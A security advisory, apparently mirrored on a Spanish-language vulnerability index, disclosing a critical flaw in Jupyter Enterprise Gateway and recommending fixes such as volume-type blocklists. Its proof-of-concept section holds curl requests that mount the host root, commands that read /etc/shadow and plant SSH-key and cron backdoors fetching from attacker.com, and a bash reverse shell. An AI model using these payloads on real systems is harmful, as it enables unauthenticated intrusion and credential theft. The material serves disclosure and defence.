GHSA-HCHM-85C7-PR3J
Unvalidated KERNEL_* Environment Variables Lead to RCE and Container Escape in Jupyter Enterprise Gateway
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HCHM-85C7-PR3J divulgada · CVSS 10 (GitHub) | |
| Remediación | Parche 3.4.0 | jupyter_enterprise_gateway · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Unvalidated KERNEL_* Environment Variables Lead to RCE and Container Escape in Jupyter Enterprise Gateway
---
Executive Summary
Jupyter Enterprise Gateway (JEG) accepts arbitrary `KERNEL_*`-prefixed environment variables from unauthenticated HTTP clients via the `POST /api/kernels` endpoint. These client-controlled variables are passed without semantic validation to backend process proxies, which use them to:
- (Kubernetes mode) Render Kubernetes Pod manifests through Jinja2 templates — allowing injection of arbitrary volume definitions including `hostPath`, mounting the worker node's root filesystem into the kernel pod.
- (Docker mode) Specify which Docker image to launch as the kernel — allowing an attacker to run a fully attacker-controlled container as a "kernel."
Both attack vectors result in Remote Code Execution (RCE) and Container Escape. The Docker mode variant has been fully verified with live PoC evidence in this report. The Kubernetes hostPath variant has been verified through code-path simulation against the latest `main` branch source.
Importantly, the Kubernetes variant represents a logical bypass of the previously published and patched advisory GHSA-cfw7-6c5v-2wjq. While that patch correctly addressed YAML string injection, it left intact a built-in feature (`KERNEL_VOLUMES`) that achieves the exact same dangerous outcome — arbitrary volume mounting — without any syntactic injection.
---
Vulnerability Details
1 Arbitrary hostPath Volume Injection via `KERNEL_VOLUMES` (Kubernetes)
Type: Logical Security Bypass / Improper Input Validation
Affected Component: `launch_kubernetes.py`, `launch_custom_resource.py`
The `KERNEL_VOLUMES` and `KERNEL_VOLUME_MOUNTS` environment variables are intentionally supported as a feature allowing clients to attach custom volumes to their kernel pods. However, the system performs only syntactic validation (checking that the value is a YAML list of dictionaries) and no semantic validation on the volume definitions.
An attacker can supply a `hostPath` volume definition that mounts the entire host filesystem (`/`) into the kernel container. Combined with code execution via the Jupyter kernel WebSocket protocol, this achieves full Node RCE.
2 Arbitrary Container Image Injection via `KERNEL_IMAGE` (Docker)
Type: Improper Input Validation / Arbitrary Code Execution
Affected Component: `launch_docker.py`, `docker_swarm.py` (DockerProcessProxy)
The `KERNEL_IMAGE` environment variable specifies which Docker image to run as the kernel. This variable is accepted from the client API request and passed directly to `DockerClient.containers.run()`. The `DockerProcessProxy` validates only the image name format (regex check), not whether the image is trusted or authorized.
An attacker can supply an arbitrary image name pointing to a malicious container (e.g., one containing a reverse shell or crypto miner), causing JEG to launch and run that container as a "kernel."
---
Root Cause Analysis
No Server-Side Allowlist at the API Layer
In `enterprise_gateway/services/kernels/remotemanager.py`, `_capture_user_overrides()` copies all `KERNEL_*`-prefixed variables from the client's HTTP request into the kernel's environment with no restrictions:
# remotemanager.py – _capture_user_overrides()
self.user_overrides.update(
{
key: value
for key, value in env.items()
if key.startswith("KERNEL_") # ← ANY KERNEL_* accepted, no denylist
or key in self.inherited_envs
or key in self.client_envs
}
)This means every `KERNEL_*` variable a client sends — including `KERNEL_VOLUMES`, `KERNEL_IMAGE`, `KERNEL_WORKING_DIR`, etc. — is forwarded to the backend launch script.
---
Kubernetes: Syntactic-Only Validation on `KERNEL_VOLUMES`
In `etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py`:
YAML_PARSED_KERNEL_VARS = {"KERNEL_VOLUME_MOUNTS", "KERNEL_VOLUMES"}
for name, value in os.environ.items():
if name.startswith("KERNEL_"):
if name in YAML_PARSED_KERNEL_VARS:
parsed = yaml.safe_load(value)
if not isinstance(parsed, list) or not all(
isinstance(item, dict) for item in parsed
):
sys.exit(f"ERROR - {name} must be a YAML list of mappings ...")
keywords[name.lower()] = parsed # ← passed as-is, NO semantic checkThe validation only checks: *"is this a list of dicts?"* — it does not check whether those dicts contain safe volume types. A `hostPath` dict passes this check perfectly.
The Jinja2 template (`kernel-pod.yaml.j2`) then renders the dicts directly into the pod manifest:
volumes:
{% if kernel_volumes %}
{% for volume in kernel_volumes %}
- {{ volume | yaml_safe }} {# yaml_safe serializes dict → valid YAML, not a protection #}
{% endfor %}
{% endif %}`yaml_safe` correctly serializes a Python dict into YAML flow style — this is its intended purpose — but it provides no protection against dangerous volume types.
---
Docker: Format-Only Validation on `KERNEL_IMAGE`
In `etc/kernel-launchers/docker/scripts/launch_docker.py`:
image_name = os.environ.get("KERNEL_IMAGE", None)
if image_name is None:
sys.exit("ERROR - KERNEL_IMAGE not found ...")
if not re.match(
r'^[a-zA-Z0-9][a-zA-Z0-9._\-/]*(:[a-zA-Z0-9._\-]+)?(@sha256:[a-f0-9]+)?$', image_name
):
sys.exit(f"ERROR - KERNEL_IMAGE contains invalid characters: {image_name}")
# ... no further validation ...
client.containers.run(image_name, **kwargs) # ← runs ANY image matching the regexThe validation only checks that the image name is syntactically valid (correct characters). It does not verify:
- Whether the image is from a trusted registry
- Whether the image is in an allowlist
- Whether the image has been vetted by the platform administrator
---
Exploitation Requirements
1 Kubernetes Mode (hostPath Injection)
| Requirement | Notes |
|-------------|-------|
| JEG deployment | Must use Kubernetes process proxy (`python_kubernetes`, `spark_python_kubernetes`, etc.) |
| Authentication | Not required (default `AllowAllAuthorizer`). Required only if explicitly configured |
| Kubernetes RBAC | JEG service account must have Pod creation rights (required for normal JEG operation) |
| Pod Security Admission | Must not enforce `restricted` or `baseline` PSA on the kernel namespace |
| Network access | Attacker must reach `POST /api/kernels` endpoint |
2 Docker Mode (KERNEL_IMAGE Injection)
| Requirement | Notes |
|-------------|-------|
| JEG deployment | Must use Docker process proxy (`python_docker`, `r_docker`, etc.) |
| Docker socket | `docker.sock` must be mounted into the JEG container |
| Authentication | Not required (default configuration) |
| Network access | Attacker must reach `POST /api/kernels` endpoint |
| Image availability | Malicious image must be accessible from the Docker host (public registry or pre-staged) |
---
Steps to Reproduce
1 PoC: hostPath Volume Injection (Kubernetes)
Step 1. Deploy Jupyter Enterprise Gateway in a Kubernetes cluster (standard deployment).
Step 2. Send the following malicious kernel creation request:
curl -X POST http://<EG_HOST>:8888/api/kernels \
-H "Content-Type: application/json" \
-d '{
"name": "python_kubernetes",
"env": {
"KERNEL_VOLUMES": "[{\"name\": \"host-root\", \"hostPath\": {\"path\": \"/\", \"type\": \"Directory\"}}]",
"KERNEL_VOLUME_MOUNTS": "[{\"name\": \"host-root\", \"mountPath\": \"/mnt/host\"}]"
}
}'Step 3. The EG backend processes `KERNEL_VOLUMES` through `yaml.safe_load()`, validates it as a list of dicts (passes), and renders it into the pod manifest:
# Rendered kernel-pod.yaml (MALICIOUS)
apiVersion: v1
kind: Pod
spec:
containers:
- image: "elyra/kernel-py:3.3.0"
volumeMounts:
- {mountPath: /mnt/host, name: host-root} # ← ATTACKER CONTROLLED
volumes:
- {hostPath: {path: /, type: Directory}, name: host-root} # ← HOST ROOT MOUNTEDStep 4. Kubernetes API server schedules the pod. The kernel container now has read/write access to the entire worker node filesystem at `/mnt/host`.
Step 5. Using the Jupyter Kernel WebSocket protocol, the attacker executes Python code for post-exploitation:
# Read host credentials
open("/mnt/host/etc/shadow").read()
# Establish SSH backdoor for root access to the K8s node
import os
os.makedirs("/mnt/host/root/.ssh", exist_ok=True)
with open("/mnt/host/root/.ssh/authorized_keys", "a") as f:
f.write("ssh-rsa AAAA...attacker@evil.com\n")
# Install persistent cron job on the host
with open("/mnt/host/etc/cron.d/backdoor", "w") as f:
f.write("* * * * * root curl http://attacker.com/shell.sh | bash\n")Alternative: Docker socket mount for full cluster takeover:
# Mount Docker socket to break out via Docker API
curl -X POST http://<EG_HOST>:8888/api/kernels \
-H "Content-Type: application/json" \
-d '{
"name": "python_kubernetes",
"env": {
"KERNEL_VOLUMES": "[{\"name\": \"docker-sock\", \"hostPath\": {\"path\": \"/var/run/docker.sock\", \"type\": \"Socket\"}}]",
"KERNEL_VOLUME_MOUNTS": "[{\"name\": \"docker-sock\", \"mountPath\": \"/var/run/docker.sock\"}]"
}
}'---
2 PoC: KERNEL_IMAGE Injection (Docker) — Verified Live
Step 1. Build a malicious Docker image (simulates attacker infrastructure):
FROM alpine:latest
RUN printf '#!/bin/sh\n\
echo "[BACKDOOR] Running as: $(id)"\n\
echo "[BACKDOOR] C2 Server: $KERNEL_C2_SERVER"\n\
echo "[BACKDOOR] Revshell payload: $KERNEL_REVSHELL"\n\
echo "[BACKDOOR] Hostname: $(hostname)"\n\
# In a real attack, replace with: nc $C2_HOST $C2_PORT -e /bin/sh\n\
sleep 30\n' > /run.sh && chmod +x /run.sh
ENTRYPOINT ["/bin/sh", "/run.sh"]docker build -t evil-kernel:latest .Step 2. Send malicious kernel creation request to Enterprise Gateway:
curl -X POST http://<EG_HOST>:8888/api/kernels \
-H "Content-Type: application/json" \
-d '{
"name": "python_docker",
"env": {
"KERNEL_IMAGE": "evil-kernel:latest",
"KERNEL_C2_SERVER": "attacker.com:4444",
"KERNEL_REVSHELL": "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
}
}'Step 3. EG launches `evil-kernel:latest` as the kernel container. EG logs confirm:
DockerProcessProxy: kernel launched. Kernel image: evil-kernel:latestStep 4. The malicious container runs, receives all attacker-supplied env vars, and executes the backdoor:
[BACKDOOR] Running as: uid=1000 gid=0(root) groups=0(root),100(users)
[BACKDOOR] C2 Server: attacker.com:4444
[BACKDOOR] Revshell payload: bash -i >& /dev/tcp/attacker.com/4444 0>&1
[BACKDOOR] Hostname: attacker-kernel-pod---
Live Exploit Evidence
1 Environment
| Component | Value |
|-----------|-------|
| EG Version | `elyra/enterprise-gateway:3.3.0` (latest stable) |
| Source branch | `main` (3.4.0.dev0) |
| Docker version | 28.4.0 |
| Test platform | macOS (ARM64), Docker linux/amd64 emulation |
> Note: Testing was performed on macOS with Docker linux/amd64 emulation.
> The vulnerability exists in the application logic itself and is platform-independent.
> The same exploit succeeds on native Linux environments without emulation.
2 EG Audit Log (KERNEL_IMAGE Exploit)
[D] BaseProcessProxy.launch_process() env: {
'KERNEL_IMAGE': '********',
'KERNEL_C2_SERVER': '********',
'KERNEL_REVSHELL': '********', ...
}
[I] DockerProcessProxy: kernel launched. Kernel image: evil-kernel:latest
KernelID: d5922804-5268-4aeb-a14e-1fc2e8a21a143 Backdoor Container Output (Live)
[BACKDOOR] Running as: uid=1000 gid=0(root) groups=0(root),100(users)
[BACKDOOR] C2 Server: attacker.com:4444
[BACKDOOR] Revshell: bash -i >& /dev/tcp/attacker.com/4444 0>&1
[BACKDOOR] hostname: attacker-test-exploit-demo-24 Attacker-Controlled Env Vars Confirmed in Container
[ATTACKER CONTROLLED] KERNEL_USERNAME=attacker
[ATTACKER CONTROLLED] KERNEL_REVSHELL=bash -i >& /dev/tcp/attacker.com/4444 0>&1
[ATTACKER CONTROLLED] KERNEL_C2_SERVER=attacker.com:4444
[ATTACKER CONTROLLED] KERNEL_IMAGE=evil-kernel:latest5 KERNEL_VOLUMES hostPath — Code-Path Verified Output
Running the exact code path of `launch_kubernetes.py` against `main` branch source:
[TEST] CRITICAL BYPASS: hostPath volume mounting host '/' via KERNEL_VOLUMES
[+] KERNEL_VOLUMES parsed as: [{'name': 'host-root', 'hostPath': {'path': '/', 'type': 'Directory'}}]
[+] Rendered volumes in Pod spec:
{'hostPath': {'path': '/', 'type': 'Directory'}, 'name': 'host-root'}
[+] Rendered volumeMounts in Container spec:
{'mountPath': '/mnt/host', 'name': 'host-root'}
[!!!] VULNERABILITY CONFIRMED: hostPath volume SUCCESSFULLY injected into the pod!
[TEST] CRITICAL BYPASS: docker.sock mount for Docker escape
[!!!] VULNERABILITY CONFIRMED: hostPath volume SUCCESSFULLY injected into the pod!---
Impact Assessment
| Attack Scenario | Impact | Severity |
|----------------|--------|----------|
| `KERNEL_VOLUMES` hostPath `/` | Full K8s worker node filesystem R/W access → SSH backdoor, cron persistence | Critical |
| `KERNEL_VOLUMES` docker.sock | Docker socket escape → Privileged container → Full host root access | Critical |
| `KERNEL_IMAGE` arbitrary image | Attacker-controlled code runs as kernel → RCE, reverse shell, data exfil, crypto mining | Critical |
| All vectors (no auth) | Zero-click pre-auth RCE on default EG deployments | Critical |
---
Relationship to GHSA-cfw7-6c5v-2wjq
The previously published advisory GHSA-cfw7-6c5v-2wjq described YAML injection via newline characters in variables like `KERNEL_WORKING_DIR`. The fix correctly applied `yaml_safe` escaping to all scalar template variables.
However, the fix did not address the broader design issue:
| | GHSA-cfw7-6c5v-2wjq | This Report |
|-|---------------------|-------------|
| Attack method | Inject `\n` newlines into scalar vars to break YAML string context | Supply valid `hostPath` dict in `KERNEL_VOLUMES` (no injection needed) |
| Syntax validity | Exploited malformed YAML | Exploited perfectly valid YAML |
| `yaml_safe` filter | Bypassed by breaking string context | Not bypassed — `yaml_safe` correctly serializes the dict (this is the problem) |
| Patched | Yes (v3.3.0) | Still present in v3.3.0 and `main` |
| Root cause | Missing escaping on scalar variables | Missing semantic validation on structured variables |
The `KERNEL_IMAGE` injection is an entirely separate attack surface that was never addressed by any prior advisory.
---
Recommended Fixes
Fix 1 (CRITICAL — Kubernetes): Semantic Validation of Volume Types
Add a blocklist for dangerous volume types in `launch_kubernetes.py` and `launch_custom_resource.py`:
# Dangerous volume types that allow container escape or privilege escalation
FORBIDDEN_VOLUME_TYPES = frozenset({
"hostpath", # Mounts arbitrary host filesystem paths
"projected", # Can expose service account tokens
"downwardapi", # Exposes K8s API metadata
"nfs", # Can mount arbitrary NFS paths
"iscsi", # Arbitrary iSCSI targets
"csi", # Arbitrary CSI volumes
"flexvolume", # Executes arbitrary host binaries
})
def _validate_volume_dicts(volumes: list, var_name: str) -> None:
for vol in volumes:
for key in vol.keys():
if key.lower() in FORBIDDEN_VOLUME_TYPES:
sys.exit(
f"ERROR - Volume type '{key}' in {var_name} is not permitted. "
f"Allowed types: emptyDir, persistentVolumeClaim, configMap, secret."
)
# Apply after parsing:
if name == "KERNEL_VOLUMES":
_validate_volume_dicts(parsed, name)Fix 2 (CRITICAL — Docker): Image Allowlist for `KERNEL_IMAGE`
Add a configurable image allowlist in `launch_docker.py`:
# Read allowlist from EG configuration
ALLOWED_IMAGES_ENV = os.environ.get("EG_ALLOWED_KERNEL_IMAGES", "")
ALLOWED_IMAGES = set(x.strip() for x in ALLOWED_IMAGES_ENV.split(",") if x.strip())
image_name = os.environ.get("KERNEL_IMAGE", None)
if ALLOWED_IMAGES and image_name not in ALLOWED_IMAGES:
sys.exit(
f"ERROR - KERNEL_IMAGE '{image_name}' is not in the allowlist. "
f"Set EG_ALLOWED_KERNEL_IMAGES to permit specific images."
)Fix 3 (RECOMMENDED): Strip Dangerous Variables from Client Overrides
The safest architectural fix is to prevent clients from controlling sensitive variables entirely. In `remotemanager.py`:
# Variables that must NOT be overridable by API clients
CLIENT_BLOCKED_KERNEL_VARS = frozenset({
"KERNEL_VOLUMES",
"KERNEL_VOLUME_MOUNTS",
"KERNEL_IMAGE",
"KERNEL_EXECUTOR_IMAGE",
"KERNEL_SERVICE_ACCOUNT_NAME", # Privilege escalation via SA
})
self.user_overrides.update(
{
key: value
for key, value in env.items()
if (key.startswith("KERNEL_") and key not in CLIENT_BLOCKED_KERNEL_VARS)
or key in self.inherited_envs
or key in self.client_envs
}
)If these variables need to be configurable per-user, implement a server-side policy engine — never trust client input directly.
Fix 4 (DEFENSE IN DEPTH): Kubernetes Pod Security Admission
Enforce `restricted` Pod Security Admission on the kernel namespace to block `hostPath` volumes at the Kubernetes API layer:
apiVersion: v1
kind: Namespace
metadata:
name: enterprise-gateway-kernels
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted> [!WARNING]
> Fix 4 alone is insufficient — it is a defense-in-depth measure. The root cause must be addressed in Fixes 1–3.
Fix 5 (DEFENSE IN DEPTH): Enable Authentication
Deploy Enterprise Gateway with token-based or JWT authentication to limit the attack surface to authenticated users:
jupyter enterprisegateway \
--EnterpriseGatewayApp.auth_token=<secure-random-token> \
--EnterpriseGatewayApp.authorizer_class=enterprise_gateway.services.auth.token_auth.TokenAuthorizationManager> [!NOTE]
> Authentication reduces exposure but does not eliminate the vulnerability — a compromised or malicious authenticated user can still exploit these issues.
---
Vulnerable Files
| File | Issue |
|------|-------|
| `etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py` (L27, L159–172) | No semantic validation on `KERNEL_VOLUMES` dict contents |
| `etc/kernel-launchers/operators/scripts/launch_custom_resource.py` (L15, L96–109) | Same issue in Spark Operator launcher |
| `etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2` (L79–90) | Template renders `kernel_volumes` without restriction |
| `etc/kernel-launchers/operators/scripts/sparkoperator.k8s.io-v1beta2.yaml.j2` (L41–80) | Same issue in Spark Operator template |
| `etc/kernel-launchers/docker/scripts/launch_docker.py` (L27–34, L113) | No image allowlist for `KERNEL_IMAGE` |
| `enterprise_gateway/services/kernels/remotemanager.py` (L510–529) | All `KERNEL_*` client vars accepted without denylist |
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypijupyter_enterprise_gateway |
Corregida | 3.4.0 | 0 d | 3.4.0 no afectada |
3.4.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-hchm-85c7-pr3jLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
